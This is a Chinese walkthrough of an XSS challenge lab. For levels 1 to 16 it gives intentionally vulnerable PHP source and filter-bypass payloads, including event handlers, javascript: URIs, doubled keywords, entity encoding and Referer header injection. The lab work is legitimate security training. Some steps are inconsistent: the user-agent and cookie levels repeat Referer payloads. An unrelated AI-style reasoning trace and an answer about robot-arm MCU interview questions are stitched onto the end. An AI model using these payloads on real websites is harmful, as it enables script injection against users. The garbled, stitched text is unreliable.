XSS挑战赛解题思路

链接:https://pan.baidu.com/s/1sBSi7ncdonJxcGfzPeGb5w
提取码:4npm
使用phpstudy搭建分分钟的事情

level 1

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

源代码看到啥过滤都没有
溜了溜了
在这里插入图片描述

参考payload:

<script>alert</script>

level 2

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到 PHP htmlspecialchars() 函数

在这里插入图片描述

一句话总结:<>尖括号不能用
那就换吧~

需要鼠标划过输入框

 " onmouseover=alert(1)><br><br>

需要点击搜索框

  " onclick=alert(1)<br>

在这里插入图片描述

在这里插入图片描述

再者就是
就是在构造payload时
将input的文本框本分提前闭合

 "><script>alert(1)</script>

在这里插入图片描述

level 3

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

与第二关的区别是多了一句

value='".htmlspecialchars($str)."'

闭合<"">构造script弹窗方法失效了,应为value中的<被转义了,只能利用上题中的js来构造弹窗,不过这里需要用单引号闭合,构造payload

  ' onmouseover=alert(1)//

构成

<input name="keyword" value=" " onmouseover="alert(1)//'">

在这里插入图片描述

level 4

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

在这里插入图片描述

从代码可知道
尖括号被替换为空

在没有符号“<>”的情况下,并且语句不被htmlspecialchars()函数影响的情况下构建payload。

所以我们在这里可以构造一个输入到文本框后出现相应的事件。我们的payload:

" onfocus=alert(1) autofocus="
" onclick=alert(1) //
<input name=keyword value=" " onfocus=alert(1) autofocus=" " >

在这里插入图片描述


<input name=keyword value=" " onclick=alert(1) //">

在这里插入图片描述

level 5

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>


分析代码发现,strreplace 就直接把
script 转换成 scr_ipt
on转换成 o_n
这样就过滤了js事件

strtolower
在这里插入图片描述

即大小写绕过也失效

不过这次没有过滤尖括号<>,这里使用伪协议来构造payload:

"><iframe src=javascript:alert(1)>
"><a href=javascript:alert(1)> 
"> <a href="javascript:alert(1)">zhouzhong</a>
"> <a href="javascript:%61lert(1)">zhouzhong</a> //

后面三个需要点击链接

在这里插入图片描述

level 6

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

script 转换成 scr_ipt
on 转换成 o_n
src 转换成 sr_c
data 转换成 da_ta
href 转换成 hr_ef
发现这里没有大小写约束
构造payload:

"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">zhouzhong</a>//

" OncliCk=alert(1) //

在这里插入图片描述

level 7

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

禁用大小写
script,on,src ,data ,href 都直接转换成空,

尝试双写绕过,构造payload:

"><sscriptcript>alert(1)</sscriptcript>

">hello<sscriptcript>alert(1)</sscriptcript>

" oonnmouseover=alert(1)

"><a hrhrefef=javascriscriptpt:alert(1)>zhouzhong</a>

在这里插入图片描述

level 8

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

script 转换成 scr_ipt
on 转换成 o_n
src 转换成 sr_c
data 转换成 da_ta
href 转换成 hr_ef
大小写失效
" 还被编码,但是尖括号<> ,单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中

属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,

javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

伪协议后面可以使用URL编码等进行编码。构造payload:

javascrip&#x74;:alert(1)

javasc&#x72;ipt:alert`1`

javasc&#x0072;ipt:alert`1`

在这里插入图片描述

level 9

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

分析代码,发现跟上个挑战大同小异,不同的是多了自己自动检测url
如果发现没有带http:// 内容则会显示不合法,

构造payload:

javascrip&#x74;:alert(1)//http://xxx.com  						//利用注释

javascrip&#x74;:%0dhttp://xxx.com%0dalert(1) 				 //不利用注释

在这里插入图片描述

level 10

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,

或许我们可以从隐藏的输入框下手,构造payload:

keyword = test&t_sort="type="text" onclick = "alert(1)

keyword = test&t_sort="type="text" onmouseover="alert(1)

在这里插入图片描述

level 11

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

多了一个 str11=_SERVER[‘HTTP_REFERER’]; 考察的是http头部的xss注入,burpsuite抓包,新增相应的字段,构造http头部Referer的payload:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burp抓包,改Referer头:

在这里插入图片描述

在这里插入图片描述

level 12

同level 11可得
更改user-agent

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

level 13

同level 11可得
更改cookie

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

level 14

https://www.hackersb.cn/hacker/140.html
惹。。。惹不起。。。溜了溜了

level 15

不知道为什么显示不出来。。。

level 16

在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>


禁止大小写绕过
script , / , (空格),等都被转换成&nbsp

即用%0d,%0a等绕过:

0a------换行符号------"\n"
0d------回车符号------"\r"

构造payload:

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

<svg%0aonload=alert`1`></svg>

在这里插入图片描述

<think>好的,我现在需要帮用户解答关于工业机械臂、伺服电机、六轴机械臂在嵌入式MCU层面的面试考点和解答。首先,用户之前已经询问过PID控制器的输出结果,可能是在准备相关职位的面试,比如嵌入式系统工程师或者控制算法工程师。现在他转向更具体的应用场景,涉及机械臂和伺服电机的嵌入式开发。 首先,用户的问题涉及三个方面:工业机械臂、伺服电机、六轴机械臂,在嵌入式MCU层面的面试考点。我需要从这几个方面分别分析可能的考点,并提供解答思路。因为用户之前问的是PID,可能面试中会涉及到控制算法,比如PID在伺服电机中的应用,以及机械臂的运动控制。 接下来,我需要考虑嵌入式MCU的具体知识点。MCU层面可能涉及实时操作系统(RTOS)、中断处理、PWM生成、编码器接口、通信协议(如CANSPI、I2C)、电机驱动、运动学算法、多轴同步控制等。同时,机械臂的六轴结构可能涉及到逆运动学、轨迹规划、插补算法等。 然后,考虑用户可能的背景。他可能在准备面试,需要具体的考点和解答,所以需要结构清晰,分点列出,每个考点下给出解答示例。此外,用户可能希望了解常见面试问题以及如何回答,比如如何处理多轴同步、如何实现高精度控制、如何优化实时性能等。 还要注意用户提到的嵌入式层面,所以问题可能集中在硬件接口、驱动开发、实时性处理、低层算法实现等方面,而不是上层的应用开发。例如,如何用STM32的定时器生成PWM控制伺服电机,如何处理编码器反馈,如何设计通信协议与上位机交互等。 另外,六轴机械臂涉及较多的运动学计算,可能需要考察逆运动学的实现,如何在资源受限的MCU上高效计算,或者使用何种算法(如雅可比矩阵法、数值解法等)。同时,嵌入式系统中的内存管理、计算优化(如定点数运算代替浮点)也是考点。 伺服电机的控制可能涉及位置环、速度环、电流环的三环控制,以及如何调整PID参数。在MCU上实现这些控制环需要考虑中断频率、计算时间、实时性保证等问题。还可能问到故障保护机制,比如过流检测、堵转处理等。 其他可能的考点包括多任务调度(使用RTOS或裸机)、外设配置(如ADC读取力传感器数据)、通信总线(如CAN总线在工业机械臂中的应用)、EMC设计、低功耗考虑等。 在解答时,需要结合实际例子,比如使用STM32H7系列的高性能MCU,结合FreeRTOS进行任务调度,通过定时器中断实现精确的PWM输出,利用DMA传输数据减少CPU负担,或者使用硬件加速模块进行矩阵运算以提高逆运动学计算速度。 同时,应该注意面试中常问的项目经验问题,比如描述一个你参与过的机械臂控制项目,遇到的技术挑战及如何解决。这可能要求用户结合具体案例,展示问题分析和解决能力。 最后,需要提醒用户注意代码优化、实时性测试、调试方法(如使用逻辑分析仪或示波器排查时序问题),以及相关的行业标准或安全规范。这些都是嵌入式系统开发中不可忽视的部分。</think>以下是针对工业机械臂、伺服电机和六轴机械臂在嵌入式MCU层面的面试考点及解答框架,按技术层级分类解析: --- ### **一、基础硬件层考点** #### 1. 伺服电机驱动原理 **问题**:如何通过MCU实现伺服电WM信号控制? **解答**: - **PWM生成**:使用定时器配置为PWM模式(如STM32的TIMx_CHy),频率通常为1-20kHz,占空比对应电机目标位置。 - **死区控制**:互补PWM输出需配置死区时间(如高级定时器的BDTR寄存器),防止H桥上下管直通。 - **示例代码**: ```c HAL_TIM_PWM_Start(&htim3, TIM_CHANNEL_1); // 启动PWM通道 __HAL_TIM_SET_COMPARE(&htim3, TIM_CHANNEL_1, pulse_width); // 设置占空比 ``` #### 2. 编码器接口设计 **问题**:如何读取伺服电机的增量式编码器信号? **解答**: - **接口选择**:使用MCU的编码器模式(如STM32的TIMx编码器接口),直接捕获A/B相正交信号。 - **计数值处理**:配置定时器为上下计数模式,通过`TIMx->CNT`读取位置差值。 - **过速保护**:溢出中断处理(如ARR寄存器配置最大计数值)。 --- ### **二、控制算法层考点** #### 1. 多轴同步控制 **问题**:如何保证六轴机械臂的6个关节同步运动? **解答**: - **时间戳同步**:使用硬件定时器触发所有轴的PWM更新(如STM32的TRGO事件)。 - **插补算法**:在MCU中实现直线/圆弧插补,计算各轴步进量(需定点数优化)。 - **示例公式**(直线插补): $$x(t) = x_0 + vt\cdot \cos\theta,\quad y(t) = y_0 + vt\cdot \sin\theta$$ 需离散化为步进脉冲序列。 #### 2. 逆运动学实时计算 **问题**:如何在资源有限的MCU上实现逆运动学解算? **解答**: - **简化模型**:采用几何法替代雅可比矩阵(如PUMA型机械臂的封闭解)。 - **查表法**:预计算常用位姿的关节角,存储为查找表。 - **定点数优化**:使用Q格式(如Q15)代替浮点运算,减少计算耗时。 --- ### **三、实时系统层考点** #### 1. 任务调度设计 **问题**:如何设计嵌入式系统的实时任务优先级? **解答**: - **关键任务分级**: - 最高级:电机控制中断(<100μs响应) - 中级:轨迹规划(1ms周期) - 低级:通信处理(10ms周期) - **实现方案**:使用RTOS(如FreeRTOS)或裸机状态机。 #### 2. 中断冲突处理 **问题**:当PWM中断与编码器中断同时发生时,如何避免数据错误? **解答**: - **优先级配置**:编码器中断设为最高优先级(如NVIC_PriorityGroup_4)。 - **双缓冲机制**:在中断中更新"影子寄存器",主循环中同步实际控制量。 --- ### **四、调试与优化考点** #### 1. 控制环路延迟分析 **问题**:如何测量PID控制环的执行时间? **解答**: - **GPIO翻转法**:在控制环开始/结束时翻转引脚,用示波器测量脉冲宽度。 - **定时器计数**:在中断入口/出口读取`DWT->CYCCNT`(CPU周期计数器)。 #### 2. 抗干扰设计 **问题**:工业现场电磁干扰导致电机抖动,如何解决? **解答**: - **硬件层面**:增加磁环、优化PCB布局(模拟/数字地分割)。 - **软件层面**:对编码器信号进行数字滤波(如滑动平均滤波)。 --- ### **五、典型面试问题示例** **Q**: 机械臂运动时出现末端抖动,可能是什么原因? **A**: 1. **控制环路问题**:PID参数不当(如微分增益不足) 2. **机械共振**:需加入低通滤波器或Notch滤波器 3. **通信延迟**:CAN总线负载过高导致控制指令不同步 4. **电源干扰**:电机启停引起电压波动,需增加去耦电容 **Q**: 如何验证六轴机械臂的定位精度? **A**: 1. **激光跟踪仪**测量末端实际坐标 2. **重复性测试**:多次执行同一路径,统计偏差 3. **反向间隙补偿**:在固件中预存齿轮间隙补偿值 --- ### **六、加分项准备** 1. **行业协议**:熟悉EtherCAT/CANopen协议栈移植经验 2. **安全规范**:了解IEC 61508功能安全标准 3. **开源项目**:参考RT-Thread或ROS2-MicroXRCE的机械臂案例 通过上述分层解析,可系统覆盖从硬件驱动到运动控制的嵌入式MCU核心技术点,建议结合具体项目经验展开回答。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值